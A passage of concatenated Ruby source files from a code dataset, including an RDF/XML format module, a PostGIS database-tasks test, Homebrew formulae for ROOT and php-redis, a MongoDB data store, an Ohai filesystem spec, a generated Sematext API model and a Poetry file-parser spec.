1aff9a0a16ea5ee27fa8ae791ce2dc736e5dd1e9
| 2,852 |
module RDF::Raptor
##
# RDF/XML support.
#
# @example Requiring the `RDF::Raptor` module
# require 'rdf/raptor'
#
# @example Parsing RDF statements from an RDF/XML file
# RDF::Reader.open("input.rdf") do |reader|
# reader.each_statement do |statement|
# puts statement.inspect
# end
# end
#
# @example Serializing RDF statements into an RDF/XML file
# RDF::Writer.open("output.rdf") do |writer|
# graph.each_statement do |statement|
# writer << statement
# end
# end
#
# @see http://www.w3.org/TR/REC-rdf-syntax/
module RDFXML
##
# RDF/XML format specification.
#
# @example Obtaining an RDF/XML format class
# RDF::Format.for(:rdfxml) #=> RDF::Raptor::RDFXML::Format
# RDF::Format.for("input.rdf")
# RDF::Format.for(:file_name => "input.rdf")
# RDF::Format.for(:file_extension => "rdf")
# RDF::Format.for(:content_type => "application/rdf+xml")
#
class Format < RDF::Format
extend RDF::Raptor::Format
content_type 'application/rdf+xml', :extension => :rdf
content_encoding 'utf-8'
rapper_format :rdfxml
reader { RDF::Raptor::RDFXML::Reader }
writer { RDF::Raptor::RDFXML::Writer }
def self.detect(sample)
# Raptor guess is not fully supported
sample.match(/<(\w+:)?(RDF)/)
end
end # Format
##
# RDF/XML parser.
#
# @example Obtaining an RDF/XML reader class
# RDF::Reader.for(:rdfxml) #=> RDF::Raptor::RDFXML::Reader
# RDF::Reader.for("input.rdf")
# RDF::Reader.for(:file_name => "input.rdf")
# RDF::Reader.for(:file_extension => "rdf")
# RDF::Reader.for(:content_type => "application/rdf+xml")
#
# @example Parsing RDF statements from an RDF/XML file
# RDF::Reader.open("input.rdf") do |reader|
# reader.each_statement do |statement|
# puts statement.inspect
# end
# end
#
class Reader < RDF::Raptor::Reader
format RDF::Raptor::RDFXML::Format
end # Reader
##
# RDF/XML serializer.
#
# @example Obtaining an RDF/XML writer class
# RDF::Writer.for(:rdfxml) #=> RDF::Raptor::RDFXML::Writer
# RDF::Writer.for("output.rdf")
# RDF::Writer.for(:file_name => "output.rdf")
# RDF::Writer.for(:file_extension => "rdf")
# RDF::Writer.for(:content_type => "application/rdf+xml")
#
# @example Serializing RDF statements into an RDF/XML file
# RDF::Writer.open("output.rdf") do |writer|
# graph.each_statement do |statement|
# writer << statement
# end
# end
#
class Writer < RDF::Raptor::Writer
format RDF::Raptor::RDFXML::Format
end # Writer
end # RDFXML
end # RDF::Raptor
| 30.666667 | 70 | 0.5831 |
2674bc8b518ff0c702bbf0909339ad827f7ff786
| 6,232 |
require 'test_helper'
require 'active_record/schema_dumper'
class TasksTest < ActiveSupport::TestCase # :nodoc:
DATABASE_CONFIG_PATH = ::File.dirname(__FILE__) + '/database.yml'
OVERRIDE_DATABASE_CONFIG_PATH = ::File.dirname(__FILE__) + '/database_local.yml'
class << self
def before_open_database(args)
@new_database_config = args[:config].merge('database' => 'postgis_adapter_test2')
@new_database_config.stringify_keys!
end
attr_reader :new_database_config
end
include RGeo::ActiveRecord::AdapterTestHelper
def cleanup_tables
::ActiveRecord::Base.remove_connection
::ActiveRecord::Base.clear_active_connections!
TasksTest::DEFAULT_AR_CLASS.connection.execute("DROP DATABASE IF EXISTS \"postgis_adapter_test2\"")
end
define_test_methods do
def test_create_database_from_extension_in_public_schema
::ActiveRecord::Tasks::DatabaseTasks.create(TasksTest.new_database_config)
refute_empty connection.select_values("SELECT * from public.spatial_ref_sys")
end
def test_create_database_from_extension_in_separate_schema
configuration = TasksTest.new_database_config.merge('postgis_schema' => 'postgis')
::ActiveRecord::Tasks::DatabaseTasks.create(configuration)
refute_empty connection.select_values("SELECT * from postgis.spatial_ref_sys")
end
def test_empty_sql_dump
setup_database_tasks
::ActiveRecord::Tasks::DatabaseTasks.structure_dump(TasksTest.new_database_config, tmp_sql_filename)
sql = ::File.read(tmp_sql_filename)
assert(sql !~ /CREATE TABLE/)
end
def test_basic_geography_sql_dump
setup_database_tasks
connection.create_table(:spatial_test) do |t|
t.point "latlon", geographic: true
end
::ActiveRecord::Tasks::DatabaseTasks.structure_dump(TasksTest.new_database_config, tmp_sql_filename)
data = ::File.read(tmp_sql_filename)
assert(data.index('latlon geography(Point,4326)'))
end
def test_index_sql_dump
setup_database_tasks
connection.create_table(:spatial_test) do |t|
t.point "latlon", geographic: true
t.string "name"
end
connection.add_index :spatial_test, :latlon, spatial: true
connection.add_index :spatial_test, :name, using: :btree
::ActiveRecord::Tasks::DatabaseTasks.structure_dump(TasksTest.new_database_config, tmp_sql_filename)
data = ::File.read(tmp_sql_filename)
assert(data.index('latlon geography(Point,4326)'))
assert data.index('CREATE INDEX index_spatial_test_on_latlon ON spatial_test USING gist (latlon);')
assert data.index('CREATE INDEX index_spatial_test_on_name ON spatial_test USING btree (name);')
end
def test_empty_schema_dump
setup_database_tasks
::File.open(tmp_sql_filename, "w:utf-8") do |file|
::ActiveRecord::SchemaDumper.dump(::ActiveRecord::Base.connection, file)
end
data = ::File.read(tmp_sql_filename)
assert(data.index('ActiveRecord::Schema'))
end
def test_basic_geometry_schema_dump
setup_database_tasks
connection.create_table(:spatial_test) do |t|
t.geometry 'object1'
t.spatial "object2", limit: { srid: connection.default_srid, type: "geometry" }
end
::File.open(tmp_sql_filename, "w:utf-8") do |file|
::ActiveRecord::SchemaDumper.dump(connection, file)
end
data = ::File.read(tmp_sql_filename)
assert(data.index("t.spatial \"object1\", limit: {:srid=>#{connection.default_srid}, :type=>\"geometry\"}"))
assert(data.index("t.spatial \"object2\", limit: {:srid=>#{connection.default_srid}, :type=>\"geometry\"}"))
end
def test_basic_geography_schema_dump
setup_database_tasks
connection.create_table(:spatial_test) do |t|
t.point "latlon1", geographic: true
t.spatial "latlon2", limit: { srid: 4326, type: "point", geographic: true }
end
::File.open(tmp_sql_filename, "w:utf-8") do |file|
::ActiveRecord::SchemaDumper.dump(connection, file)
end
data = ::File.read(tmp_sql_filename)
assert(data.index('t.spatial "latlon1", limit: {:srid=>4326, :type=>"point", :geographic=>true}'))
assert(data.index('t.spatial "latlon2", limit: {:srid=>4326, :type=>"point", :geographic=>true}'))
end
def test_index_schema_dump
setup_database_tasks
connection.create_table(:spatial_test) do |t|
t.point "latlon", geographic: true
end
connection.add_index :spatial_test, :latlon, spatial: true
::File.open(tmp_sql_filename, "w:utf-8") do |file|
::ActiveRecord::SchemaDumper.dump(connection, file)
end
data = ::File.read(tmp_sql_filename)
assert data.index('t.spatial "latlon", limit: {:srid=>4326, :type=>"point", :geographic=>true}')
assert data.index('add_index "spatial_test", ["latlon"], :name => "index_spatial_test_on_latlon", :spatial => true')
end
def test_add_index_with_nil_options
setup_database_tasks
connection.create_table(:test) do |t|
t.string "name"
end
connection.add_index :test, :name, nil
::ActiveRecord::Tasks::DatabaseTasks.structure_dump(TasksTest.new_database_config, tmp_sql_filename)
data = ::File.read(tmp_sql_filename)
assert data.index('CREATE INDEX index_test_on_name ON test USING btree (name);')
end
def test_add_index_via_references
setup_database_tasks
connection.create_table(:cats)
connection.create_table(:dogs) do |t|
t.references :cats, index: true
end
::ActiveRecord::Tasks::DatabaseTasks.structure_dump(TasksTest.new_database_config, tmp_sql_filename)
data = ::File.read(tmp_sql_filename)
assert data.index('CREATE INDEX index_dogs_on_cats_id ON dogs USING btree (cats_id);')
end
end
private
def connection
::ActiveRecord::Base.connection
end
def tmp_sql_filename
::File.expand_path('../tmp/tmp.sql', ::File.dirname(__FILE__))
end
def setup_database_tasks
::FileUtils.rm_f(tmp_sql_filename)
::FileUtils.mkdir_p(::File.dirname(tmp_sql_filename))
::ActiveRecord::Tasks::DatabaseTasks.create(TasksTest.new_database_config)
end
end
| 39.194969 | 122 | 0.707959 |
abf5bee69ffac040c6bde4bce46ac7b52a2c5b01
| 323 |
# encoding: utf-8
class CreateRooms < ActiveRecord::Migration[5.0]
def change
create_table :rooms, :options => 'ENGINE=InnoDB DEFAULT CHARSET=utf8' do |t|
t.integer :owner_id, default: 0
t.boolean :lock, default: false
t.string :subject, default: '', null: true
t.timestamps
end
end
end
| 26.916667 | 80 | 0.662539 |
ed7b3f2bf3bd080c86a6714a68556fa56afe1e34
| 3,699 |
class Root6 < Formula
# in order to update, simply change version number and update sha256
version_number = "6.06.06"
desc "Object oriented framework for large scale data analysis"
homepage "https://root.cern.ch"
url "https://root.cern.ch/download/root_v#{version_number}.source.tar.gz"
mirror "https://fossies.org/linux/misc/root_v#{version_number}.source.tar.gz"
version version_number
sha256 "0a7d702a130a260c72cb6ea754359eaee49a8c4531b31f23de0bfcafe3ce466b"
head "http://root.cern.ch/git/root.git"
bottle do
sha256 "d13b1010cd307ea8e6d0277e7053a0996946e76735688b283e7ed9ce55ead1cc" => :el_capitan
sha256 "07e037676b6942d1359bdebb3d6d21da5bd025ac20cec7419fa36d915c488c15" => :yosemite
sha256 "10c2a95b7e3122f86517f8928f50dc0cf602eff8d22f2dd68ea75c631000fc0b" => :mavericks
sha256 "f63cd3eea04085528313d291ab22371a3dcc860944771338f7f22d6da6e3a75e" => :x86_64_linux
end
depends_on "cmake" => :build
depends_on "xrootd" => :optional
depends_on "openssl" => :recommended # use homebrew's openssl
depends_on :python => :recommended # make sure we install pyroot
depends_on :x11 => :recommended if OS.linux?
depends_on "gsl" => :recommended
# root5 obviously conflicts, simply need `brew unlink root`
conflicts_with "root"
# cling also takes advantage
needs :cxx11
def config_opt(opt, pkg = opt)
"-D#{opt}=#{(build.with? pkg) ? "ON" : "OFF"}"
end
def install
# brew audit doesn't like non-executables in bin
# so we will move {thisroot,setxrd}.{c,}sh to libexec
# (and change any references to them)
inreplace Dir["config/roots.in", "config/thisroot.*sh",
"etc/proof/utils/pq2/setup-pq2",
"man/man1/setup-pq2.1", "README/INSTALL", "README/README"],
/bin.thisroot/, "libexec/thisroot"
# ROOT does the following things by default that `brew audit` doesn't like:
# 1. Installs libraries to lib/
# 2. Installs documentation to man/
# Homebrew expects:
# 1. Libraries in lib/<some_folder>
# 2. Documentation in share/man
# so we set some flags to match what Homebrew expects
args = %W[
-Dgnuinstall=ON
-DCMAKE_INSTALL_ELISPDIR=#{share}/emacs/site-lisp/#{name}
-Dbuiltin_freetype=ON
-Droofit=ON
-Dminuit2=ON
#{config_opt("python")}
#{config_opt("ssl", "openssl")}
#{config_opt("xrootd")}
#{config_opt("mathmore", "gsl")}
]
# ROOT forbids running CMake in the root of the source directory,
# so run in a subdirectory (there's already one called `build`)
mkdir "build_dir" do
system "cmake", "..", *(std_cmake_args + args)
system "make", "install"
end
libexec.mkpath
mv Dir["#{bin}/*.*sh"], libexec
end
def caveats; <<-EOS.undent
Because ROOT depends on several installation-dependent
environment variables to function properly, you should
add the following commands to your shell initialization
script (.bashrc/.profile/etc.), or call them directly
before using ROOT.
For bash users:
. $(brew --prefix root6)/libexec/thisroot.sh
For zsh users:
pushd $(brew --prefix root6) >/dev/null; . libexec/thisroot.sh; popd >/dev/null
For csh/tcsh users:
source `brew --prefix root6`/libexec/thisroot.csh
EOS
end
test do
(testpath/"test.C").write <<-EOS.undent
#include <iostream>
void test() {
std::cout << "Hello, world!" << std::endl;
}
EOS
(testpath/"test.bash").write <<-EOS.undent
. #{libexec}/thisroot.sh
root -l -b -n -q test.C
EOS
assert_equal "\nProcessing test.C...\nHello, world!\n",
`/bin/bash test.bash`
end
end
| 35.567308 | 94 | 0.676129 |
d59c1742caba61898cc3faf0f6bff4a00f79b604
| 2,083 |
require 'mongo'
module Dragonfly
module DataStorage
class MongoDataStore
include Configurable
include Serializer
configurable_attr :host
configurable_attr :port
configurable_attr :database, 'dragonfly'
configurable_attr :username
configurable_attr :password
# Mongo gem deprecated ObjectID in favour of ObjectId
OBJECT_ID = defined?(BSON::ObjectId) ? BSON::ObjectId : BSON::ObjectID
INVALID_OBJECT_ID = defined?(BSON::InvalidObjectId) ? BSON::InvalidObjectId : BSON::InvalidObjectID
def initialize(opts={})
self.host = opts[:host]
self.port = opts[:port]
self.database = opts[:database] if opts[:database]
self.username = opts[:username]
self.password = opts[:password]
end
def store(temp_object, opts={})
ensure_authenticated!
temp_object.file do |f|
mongo_id = grid.put(f, :metadata => marshal_encode(temp_object.attributes))
mongo_id.to_s
end
end
def retrieve(uid)
ensure_authenticated!
grid_io = grid.get(bson_id(uid))
extra = marshal_decode(grid_io.metadata)
extra[:meta].merge!(:stored_at => grid_io.upload_date)
[
grid_io.read,
extra
]
rescue Mongo::GridFileNotFound, INVALID_OBJECT_ID => e
raise DataNotFound, "#{e} - #{uid}"
end
def destroy(uid)
ensure_authenticated!
grid.delete(bson_id(uid))
rescue Mongo::GridFileNotFound, INVALID_OBJECT_ID => e
raise DataNotFound, "#{e} - #{uid}"
end
def connection
@connection ||= Mongo::Connection.new(host, port)
end
def db
@db ||= connection.db(database)
end
def grid
@grid ||= Mongo::Grid.new(db)
end
private
def ensure_authenticated!
if username
@authenticated ||= db.authenticate(username, password)
end
end
def bson_id(uid)
OBJECT_ID.from_string(uid)
end
end
end
end
| 25.096386 | 105 | 0.607297 |
ac904270a785be634c079e581fd495cdfcdc688e
| 339 |
cask 'font-zeyada' do
version '1.002'
sha256 '09f23d0d78b6e166ddb8480793bb550ab4c2aaf6602eda47a394fee93d2a9667'
url 'https://googlefontdirectory.googlecode.com/hg-history/67342bc472599b4c32201ee4a002fe59a6447a42/ofl/zeyada/Zeyada.ttf'
homepage 'http://www.google.com/fonts/specimen/Zeyada'
license :ofl
font 'Zeyada.ttf'
end
| 30.818182 | 124 | 0.80531 |
3315813987efa04c8cc4cd7d636c21a4a0a5598b
| 1,615 |
require File.expand_path("../../Abstract/abstract-php-extension", __FILE__)
class Php55Redis < AbstractPhp55Extension
init
homepage "https://github.com/phpredis/phpredis"
url "https://github.com/phpredis/phpredis/archive/2.2.7.tar.gz"
sha256 "a5882dd9b21908e123b3d5c5f72d6dc8cbbbb6a29996e568c4d18ed356c0362b"
head "https://github.com/phpredis/phpredis.git"
bottle do
root_url "https://homebrew.bintray.com/bottles-php"
sha256 "a6ddf0b311e6f1330b929d956495696525974b766e84bee0af85123f1140dcb5" => :yosemite
sha256 "fb5811f0a56f96ed8a8d3ff75d5b50681088c7fc173e78b0999dd1ef527e3cb9" => :mavericks
sha256 "83a89faf5958e8652e0a1fe320a927b20f2944808450ad4ee6aee65de08d3d77" => :mountain_lion
end
depends_on "php55-igbinary"
def install
ENV.universal_binary if build.universal?
args = []
args << "--enable-redis-igbinary"
safe_phpize
mkdir_p "ext/igbinary"
cp "#{Formula['php55-igbinary'].opt_include}/igbinary.h", "ext/igbinary/igbinary.h"
system "./configure", "--prefix=#{prefix}",
phpconfig,
*args
system "make"
prefix.install "modules/redis.so"
write_config_file if build.with? "config-file"
end
def config_file
super + <<-EOS.undent
; phpredis can be used to store PHP sessions.
; To do this, uncomment and configure below
;session.save_handler = redis
;session.save_path = "tcp://host1:6379?weight=1, tcp://host2:6379?weight=2&timeout=2.5, tcp://host3:6379?weight=2"
EOS
end
test do
shell_output("php -m").include?("redis")
end
end
| 31.057692 | 120 | 0.704025 |
87b0f62051a2b23e435653e9b63fbb326a8e70b2
| 6,739 |
#
# Author:: Phil Dibowitz (<[email protected]>)
# Copyright:: Copyright (c) 2015 Facebook, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require_relative "../../../spec_helper.rb"
describe Ohai::System, "darwin filesystem plugin" do
let (:plugin) { get_plugin("darwin/filesystem") }
before(:each) do
allow(plugin).to receive(:collect_os).and_return(:darwin)
allow(plugin).to receive(:shell_out).with("df -i").and_return(mock_shell_out(0, "", ""))
allow(plugin).to receive(:shell_out).with("mount").and_return(mock_shell_out(0, "", ""))
end
describe "when gathering filesystem usage data from df" do
before(:each) do
@stdout = <<-DF
Filesystem 512-blocks Used Available Capacity iused ifree %iused Mounted on
/dev/disk0s2 488555536 313696448 174347088 65% 39276054 21793386 64% /
devfs 385 385 0 100% 666 0 100% /dev
map /etc/auto.direct 0 0 0 100% 0 0 100% /mnt/vol
map -hosts 0 0 0 100% 0 0 100% /net
map -static 0 0 0 100% 0 0 100% /mobile_symbol
deweyfs@osxfuse0 0 0 0 100% 0 0 100% /mnt/dewey
DF
allow(plugin).to receive(:shell_out).with("df -i").and_return(mock_shell_out(0, @stdout, ""))
end
it "should run df -i" do
expect(plugin).to receive(:shell_out).ordered.with("df -i").and_return(mock_shell_out(0, @stdout, ""))
plugin.run
end
it "should set size to value from df -i" do
plugin.run
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:kb_size]).to eq("244277768")
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:kb_used]).to eq("156848224")
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:kb_available]).to eq("87173544")
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:percent_used]).to eq("65%")
end
it "should set device and mount to value from df -i" do
plugin.run
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:mount]).to eq("/")
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:device]).to eq("/dev/disk0s2")
end
it "should set inode info to value from df -i" do
plugin.run
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:total_inodes]).to eq("61069440")
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:inodes_used]).to eq("39276054")
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:inodes_available]).to eq("21793386")
end
end
describe "when gathering mounted filesystem data from mount" do
before(:each) do
@stdout = <<-MOUNT
/dev/disk0s2 on / (hfs, local, journaled)
devfs on /dev (devfs, local, nobrowse)
map /etc/auto.direct on /mnt/vol (autofs, automounted, nobrowse)
map -hosts on /net (autofs, nosuid, automounted, nobrowse)
map -static on /mobile_symbol (autofs, automounted, nobrowse)
deweyfs@osxfuse0 on /mnt/dewey (osxfusefs, synchronous, nobrowse)
MOUNT
allow(plugin).to receive(:shell_out).with("mount").and_return(mock_shell_out(0, @stdout, ""))
end
it "should run mount" do
expect(plugin).to receive(:shell_out).with("mount").and_return(mock_shell_out(0, @stdout, ""))
plugin.run
end
it "should set values from mount" do
plugin.run
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:mount]).to eq("/")
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:fs_type]).to eq("hfs")
expect(plugin[:filesystem]["by_pair"]["/dev/disk0s2,/"][:mount_options]).to eq(%w{local journaled})
end
end
describe "when gathering filesystem data with devices mounted more than once" do
before(:each) do
@dfstdout = <<-DF
Filesystem 512-blocks Used Available Capacity iused ifree %iused Mounted on
/dev/disk0s2 488555536 313696448 174347088 65% 39276054 21793386 64% /
devfs 385 385 0 100% 666 0 100% /dev
map /etc/auto.direct 0 0 0 100% 0 0 100% /mnt/vol
map -hosts 0 0 0 100% 0 0 100% /net
map -static 0 0 0 100% 0 0 100% /mobile_symbol
deweyfs@osxfuse0 0 0 0 100% 0 0 100% /mnt/dewey
/dev/disk0s2 488555536 313696448 174347088 65% 39276054 21793386 64% /another/mountpoint
DF
allow(plugin).to receive(:shell_out).with("df -i").and_return(mock_shell_out(0, @dfstdout, ""))
end
it "should provide a devices view with all mountpoints" do
plugin.run
expect(plugin[:filesystem]["by_device"]["/dev/disk0s2"][:mounts]).to eq(["/", "/another/mountpoint"])
end
end
describe "when gathering filesystem data with double-mounts" do
before(:each) do
@dfstdout = <<-DF
Filesystem 512-blocks Used Available Capacity iused ifree %iused Mounted on
/dev/disk0s2 488555536 313696448 174347088 65% 39276054 21793386 64% /
devfs 385 385 0 100% 666 0 100% /dev
map /etc/auto.direct 0 0 0 100% 0 0 100% /mnt/vol
map -hosts 0 0 0 100% 0 0 100% /net
map -static 0 0 0 100% 0 0 100% /mobile_symbol
deweyfs@osxfuse0 0 0 0 100% 0 0 100% /mnt/dewey
/dev/disk0s3 488555536 313696448 174347088 65% 39276054 21793386 64% /mnt
/dev/disk0s4 488555536 313696448 174347088 65% 39276054 21793386 64% /mnt
DF
allow(plugin).to receive(:shell_out).with("df -i").and_return(mock_shell_out(0, @dfstdout, ""))
end
it "should provide a mounts view with all devices" do
plugin.run
expect(plugin[:filesystem]["by_mountpoint"]["/mnt"][:devices]).to eq(["/dev/disk0s3", "/dev/disk0s4"])
end
end
end
| 48.135714 | 108 | 0.595786 |
1d680221570c06fc24c2891e935d4c1a05d70f2b
| 7,051 |
=begin
#Sematext Cloud API
#API Explorer provides access and documentation for Sematext REST API. The REST API requires the API Key to be sent as part of `Authorization` header. E.g.: `Authorization : apiKey e5f18450-205a-48eb-8589-7d49edaea813`.
OpenAPI spec version: v3
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 3.0.30
=end
require 'date'
module SematextCloud
class UsageMultiResponse
attr_accessor :data
attr_accessor :errors
attr_accessor :message
attr_accessor :success
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'data' => :'data',
:'errors' => :'errors',
:'message' => :'message',
:'success' => :'success'
}
end
# Attribute type mapping.
def self.openapi_types
{
:'data' => :'Object',
:'errors' => :'Object',
:'message' => :'Object',
:'success' => :'Object'
}
end
# List of attributes with nullable: true
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `SematextCloud::UsageMultiResponse` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `SematextCloud::UsageMultiResponse`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'data')
self.data = attributes[:'data']
end
if attributes.key?(:'errors')
if (value = attributes[:'errors']).is_a?(Array)
self.errors = value
end
end
if attributes.key?(:'message')
self.message = attributes[:'message']
end
if attributes.key?(:'success')
self.success = attributes[:'success']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
data == o.data &&
errors == o.errors &&
message == o.message &&
success == o.success
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[data, errors, message, success].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
elsif attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)
self.send("#{key}=", nil)
end
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
SematextCloud.const_get(type).build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = self.class.openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end end
end
| 29.877119 | 219 | 0.614381 |
bb516a1053002906ef7db91bda21d2032cde12b4
| 191 |
class ContactsImport < ApplicationRecord
belongs_to :contact
belongs_to :import
def self.created
where(updated: false)
end
def self.updated
where(updated: true)
end
end
| 14.692308 | 40 | 0.727749 |
79f7744052eb58c4aed29824b90f156cfc2ad01a
| 953 |
# coding: utf-8
$:.push File.expand_path("../lib", __FILE__)
require 'couchdbtools/config'
Gem::Specification.new do |spec|
spec.name = "couchdbtools"
spec.version = Couchdbtools::VERSION
spec.platform = Gem::Platform::RUBY
spec.authors = ["Andy Wenk"]
spec.email = ["[email protected]"]
spec.description = %q{CouchDB Tools will make your life happy}
spec.summary = %q{CouchDB Tools}
spec.homepage = Couchdbtools::HOMEPAGE
spec.license = "MIT"
spec.files = `git ls-files`.split($/)
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_dependency "rest-client", "~> 1.6"
spec.add_dependency "multi_json", "~> 1.3"
spec.add_development_dependency "rspec"
spec.add_development_dependency "yard"
spec.add_development_dependency "reek"
end
| 34.035714 | 74 | 0.653725 |
e8b4315c712e01403c8b099b114f88a50dbc2b42
| 352 |
module Sastrawi
module Morphology
module Disambiguator
class DisambiguatorPrefixRule15b
def disambiguate(word)
contains = /^men([aiueo])(.*)$/.match(word)
if contains
matches = contains.captures
return "t#{matches[0]}#{matches[1]}"
end
end
end
end
end
end
| 19.555556 | 53 | 0.5625 |
5d54bc830f83faa9bd957f12c2a910422b7509f1
| 4,288 |
# frozen_string_literal: true
require "spec_helper"
require "dependabot/dependency_file"
require "dependabot/python/file_parser/poetry_files_parser"
RSpec.describe Dependabot::Python::FileParser::PoetryFilesParser do
let(:parser) { described_class.new(dependency_files: files) }
let(:files) { [pyproject] }
let(:pyproject) do
Dependabot::DependencyFile.new(
name: "pyproject.toml",
content: pyproject_body
)
end
let(:pyproject_body) do
fixture("pyproject_files", pyproject_fixture_name)
end
let(:pyproject_fixture_name) { "pyproject.toml" }
describe "parse" do
subject(:dependencies) { parser.dependency_set.dependencies }
context "without a lockfile" do
its(:length) { is_expected.to eq(15) }
it "doesn't include the Python requirement" do
expect(dependencies.map(&:name)).to_not include("python")
end
context "with a string declaration" do
subject(:dependency) { dependencies.first }
it "has the right details" do
expect(dependency).to be_a(Dependabot::Dependency)
expect(dependency.name).to eq("geopy")
expect(dependency.version).to be_nil
expect(dependency.requirements).to eq(
[{
requirement: "^1.13",
file: "pyproject.toml",
groups: ["dependencies"],
source: nil
}]
)
end
end
end
context "with a lockfile" do
let(:files) { [pyproject, pyproject_lock] }
let(:pyproject_lock) do
Dependabot::DependencyFile.new(
name: "pyproject.lock",
content: pyproject_lock_body
)
end
let(:pyproject_lock_body) do
fixture("pyproject_locks", pyproject_lock_fixture_name)
end
let(:pyproject_lock_fixture_name) { "pyproject.lock" }
its(:length) { is_expected.to eq(36) }
it "doesn't include the Python requirement" do
expect(dependencies.map(&:name)).to_not include("python")
end
context "that is called poetry.lock" do
let(:files) { [pyproject, poetry_lock] }
let(:poetry_lock) do
Dependabot::DependencyFile.new(
name: "poetry.lock",
content: pyproject_lock_body
)
end
its(:length) { is_expected.to eq(36) }
end
context "with a git dependency" do
let(:pyproject_fixture_name) { "git_dependency.toml" }
let(:pyproject_lock_fixture_name) { "git_dependency.lock" }
it "excludes the git dependency" do
expect(dependencies.map(&:name)).to_not include("toml")
end
end
context "with a manifest declaration" do
subject(:dependency) { dependencies.find { |f| f.name == "geopy" } }
it "has the right details" do
expect(dependency).to be_a(Dependabot::Dependency)
expect(dependency.name).to eq("geopy")
expect(dependency.version).to eq("1.14.0")
expect(dependency.requirements).to eq(
[{
requirement: "^1.13",
file: "pyproject.toml",
groups: ["dependencies"],
source: nil
}]
)
end
context "that has a name that needs normalising" do
subject(:dependency) { dependencies.find { |f| f.name == "pillow" } }
it "has the right details" do
expect(dependency).to be_a(Dependabot::Dependency)
expect(dependency.name).to eq("pillow")
expect(dependency.version).to eq("5.1.0")
expect(dependency.requirements).to eq(
[{
requirement: "^5.1",
file: "pyproject.toml",
groups: ["dependencies"],
source: nil
}]
)
end
end
end
